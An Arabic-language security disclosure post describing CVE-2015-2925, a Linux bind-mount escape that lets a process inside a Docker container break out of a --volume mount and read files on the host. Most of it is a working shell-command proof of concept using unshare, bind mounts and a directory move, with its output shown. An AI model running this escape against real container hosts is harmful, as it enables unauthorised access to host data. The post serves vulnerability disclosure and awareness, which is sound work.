
Docker + CVE-2015-2925 = الهروب من --volume
ثغرة حديثة في لينكس معروفة منذ حوالي نصف عام (عدة أشهر بشكل علني) جعلت من الممكن الهروب من عمليات الربط (bind mounts). وبشكل خاص في حالة Docker، من الممكن الهروب من داخل الدليل المُثبَّت عبر خيار --volume إلى نظام الملفات الخاص بالمضيف.
فريق أمان Docker على علم بالفعل بالمشكلة وسمح بنشر هذا لجذب انتباه الجمهور.
الشكر لـ Jann Horn على الإشارة إلى هذا، في الأساس قمت فقط بإعادة إنتاجه.
أيٌّ من الإجراءات التالية سيكون كافيًا:
# uname -r
3.18.9-aufs
# zgrep USER_NS /proc/config.gz
CONFIG_USER_NS=y
# docker -v
Docker version 1.6.1, build 97cd073
# docker pull debian:jessie
# mkdir /test && chmod 777 /test
# echo escaped > /etc/hostdata && chmod 644 /etc/hostdata
# docker run -i -t --rm -v /test:/test -u nobody debian:jessie
nobody@fc8925af0f19:/$ unshare -m -U -r /bin/bash
root@fc8925af0f19:/# cd /test
root@fc8925af0f19:/test# mkdir A A/B C D
root@fc8925af0f19:/test# mount --bind A D
root@fc8925af0f19:/test# cd D/B
root@fc8925af0f19:/test/D/B# mv /test/A/B /test/C
root@fc8925af0f19:/test/D/B# cat ../../../etc/hostdata
escaped